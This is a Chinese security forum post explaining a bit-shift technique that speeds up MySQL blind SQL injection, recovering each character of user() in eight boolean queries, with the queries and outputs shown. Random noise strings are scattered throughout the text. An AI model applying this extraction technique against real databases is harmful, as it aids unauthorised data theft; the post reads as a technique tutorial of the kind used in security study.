找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2320|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位( I( ?) a: k4 z* M, U% O

. X1 v' p' [0 V' n! _
) x& l& D0 z) b: m  d
1 V: c7 e6 U7 w3 L下面将以查询mysql数据库当中user()的第一位为例:  _' W, E% j: ^! \
2 }& A4 H4 L$ }" `, J4 I/ `5 @* T

1 ?. X: `( i+ [% A( p5 p2 p1 C  p
! ^1 M7 J6 ~9 j. l, b: Jps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)1 F4 w" b+ ?* I- T4 [; ?. Y

* N9 I- |" @$ a  d% Q/ h6 U ' r+ y0 T" }. Q6 e3 b8 p! t4 |
9 w1 }  h2 }) {& y8 N' i: K/ Y
首先执行如下sql语句:
7 K7 ]" U, n' z! p9 }4 ^+ Y4 |8 x2 A$ G8 y1 @

" K- Z  M8 h; U6 Y% a  i
# i0 k4 S6 e9 s2 p! @& dmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
: Q- v$ z! H/ ^, ^* |- r, w
7 C. \8 O# w! t: g; Q - p$ ]/ f: N/ V4 j8 g% C5 Y
1 @- ]; e/ s! q. K# q
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
. J& e" a1 B& W0 r2 W0 p: R
6 ?% \( H* Y. \
% K+ C  B" S1 K$ J4 Q# g2 @% s& H+ W
/ ]  o9 r1 h2 c: c8 j; g第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为18 B6 T0 K+ H5 A1 C' N
1 q1 D; ~* U* o9 J5 l! d) Z

" z2 H- K0 X% ~# n. `7 N
7 Z$ z" i8 ^& e/ q) l0 B7 p如果运算结果为1,说明第一位为0,不为1
! F, ?  n) Y6 `, m; ]+ w5 w+ m# q5 p6 X

3 a4 U, ~' H+ r4 N, k
; t6 `+ s3 g$ C3 I+————————————–+0 k  R! j- Y1 k

2 ^0 H  d% P% M| (ascii((substr(user(),1,1))) >> 7)=0 |
. N5 M( N5 C$ n0 l
# N6 y, u3 |) D5 Q+————————————–+8 N  k8 G( s1 `/ p* h2 _
- P  u+ L- b4 U8 l
| 1 |
. g7 Z9 h8 Z$ P# T' K$ l, e
; R" n5 q" U! Y; n& d+————————————–+# i5 J0 H9 H; d

; N, ]7 @7 @# g: B9 o  L1 S/ c1 row in set (0.00 sec)  H5 h1 i0 p0 c$ j
& j0 C) g- |9 I! |/ `! Q
这样我们就确定这个8bit的ascii的第一位为0
9 `- m  A. F, P7 N" G+ f
" e" r: r. D% d7 v- {0 } . L/ L1 U* H  K3 B6 E

9 `' I3 ]& C: K4 u第二次我们来做6次右偏移来确定前两位2 f6 ~/ ^$ d( I( D3 W2 e

! n6 P5 [! l$ K5 _! s , `8 _& O" E5 U$ |; g3 U
- ^7 K1 u& G& T6 v7 X4 |
前两位可能是01或00,即依然可以与0做比较,% l; f: z  T8 ^" y% i8 u, T! i
4 m8 n% y* i( e. T. R
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
) E0 {# }. d4 V6 o' K9 k. |; ]/ s+ N1 j7 Z. m
+————————————–+
8 V) Q& S4 P$ ?5 }! K* O
4 X/ T6 H/ K: g2 s1 q| (ascii((substr(user(),1,1))) >> 6)=0 |
  m. P* S3 _& }5 U8 S) h- L+ u
( n" z. D$ s: T1 G( q$ ^1 P+————————————–+
* ?; q7 K5 }- d, b& m$ u" a( g
4 I) j) n5 c- T6 M| 0 |
9 x5 x# H  s5 H- S0 E" R' [5 w" z& G0 y- H
+————————————–+
1 ~0 G; K; B# d: P; _3 ^! ~7 w5 P1 Z  E* \6 Q
1 row in set (0.00 sec)
. u1 x( U, ]9 G- X- M8 H& G2 g6 T: z, V$ c
- @5 X. m6 S# N) t- L4 q1 {: c

0 Z+ Q$ y5 {# ]/ W结果为0,即第二位为1
1 Y2 @. s0 S2 C5 I4 i) j. `  ~" U& s/ W) c

. V: U( k- f2 e2 A' v0 P  ]% i5 w2 d
开始猜测前三位为010或011
: h; }: Y. B  Y+ J. \6 ^6 {& e$ ?! N8 x& e! T5 a
  a+ G8 a# ~; l- l$ s, }& w, F

" q( V2 ~4 s  ~) m) n" }' {  M; `让我们看看010和011的ascii码是多少
$ P) n% D0 t2 h, _
! E( m1 T" `' [' Y
$ `: C3 m) x$ p% O6 k8 u* F3 e  k4 Z  l0 p0 w; K: Z# V- F3 M5 z5 j# M7 \$ _
分别查询select b’011′ select b’010′& s: y0 z0 Z: i  D$ l! b% N4 B
( N/ M0 u) I8 m7 g( \8 A2 p3 D

: \/ E9 Y/ c- h( k; c
* m3 ^2 e# F7 V+ \& t; _- [7 O/ S获得结果 010 = 2 011 = 3
6 s; p- Q3 ?( M: x' B: H" o2 O  ^+ X/ Y+ Z3 K; o- u, v' J
' p, e! M4 f: z+ M; {
( C$ Y- H# ^$ Q) s0 q: q
执行如下sql:* {2 y2 l" i& ]$ h
+ [8 d* S+ \3 ^
  X8 K' |+ G# t- x; F8 L
/ \; h- G) N6 H5 B  o
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
8 U9 R  b6 f* f# N1 v6 P
9 E$ A  N% S& Q' |! }+————————————–+
/ K# z! Z9 T3 Q' t& ]1 Z$ R5 W3 R, T) J  ?% N" f- i, ~0 P
| (ascii((substr(user(),1,1))) >> 5)=2 |  A" t9 l5 L9 ?0 }
: P0 x$ M0 A; R
+————————————–+
/ A: f0 A1 _6 f0 E  m
, \) [# u) W$ ?( n# I  }| 0 |
. w3 f& f+ s7 U6 a6 H8 ~& l
( F; d& n3 a9 x% s7 P; E; G3 G+————————————–+& {1 A) v; k) ^1 D5 V8 V
3 H( m. n+ V6 S" H" y
即前三位不为010,而是011( I. Q# ^% _  E- D
3 C+ [. l, q% s9 k5 M. R

/ a8 J: h) N& c* j
% g7 a$ D! S" d; j直到获得最后一位
& A9 f/ X7 @6 p* E! u7 U4 h0 K
8 Z5 P3 R2 J" {0 x  I / \, h0 a7 {( \* D4 |

* b: B- R5 }3 r最终结果为:01110010% p1 G( l1 |7 {

/ U: y3 r/ G. F4 p6 L# h  D; |' G# r4 N ; u1 i5 s, B/ a& A/ Q; K

) {) _, V- m9 n- v转换一下:/ v2 C) t5 }: _9 D

& E+ G2 I! x" H- _ " |- S# k  y, n, z# D5 ^* Z* J
7 x$ L, @7 p; e6 R1 m( r2 M  O- h
select b’01110010′
& g: R2 L% b9 [3 W( t
% H2 q( ~  z! ^0 }
7 I" j3 X+ E, X& q7 p" S0 o: T8 s6 g8 o; l
查询结果5 ~5 b1 @1 X  k, x
, d1 F4 B$ K( R7 Y$ A! b' v& B- c
& l4 f* S/ }. C" V" }3 Z
7 j% j$ F9 a. x6 z8 g; a
+————-+5 o$ {6 Y" s6 w' M% D
8 k3 e0 ?+ N9 c* w7 l
| b’01110010′ |
' D0 M4 A& m6 A6 ?) l8 z) I4 ?3 }! E. Z1 I
+————-+4 Y& g* p8 X) O- `( n

( ~0 W3 ?6 W- Y; V$ y. F! m8 r| r |
4 ]1 }: z, \+ H' B! f9 W* w" C. y
7 A( P6 l7 ?; Q) ^6 P+————-+0 N9 s' |: O: n) `4 M* _

: a0 x, o9 y" [8 K" y- I1 row in set (0.00 sec)
: g5 R+ V. N9 w; l8 X. p
1 }$ b" ^% X' [0 C % s; O& {$ z" U% h: {
7 s, ^7 p; Y' P9 R& \
这样我们就获得了user()的第一位.其它位依此类推
7 j* {  W8 t& B. B
% {' l; B4 R* V( {. b2 P! `- p* {3 K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表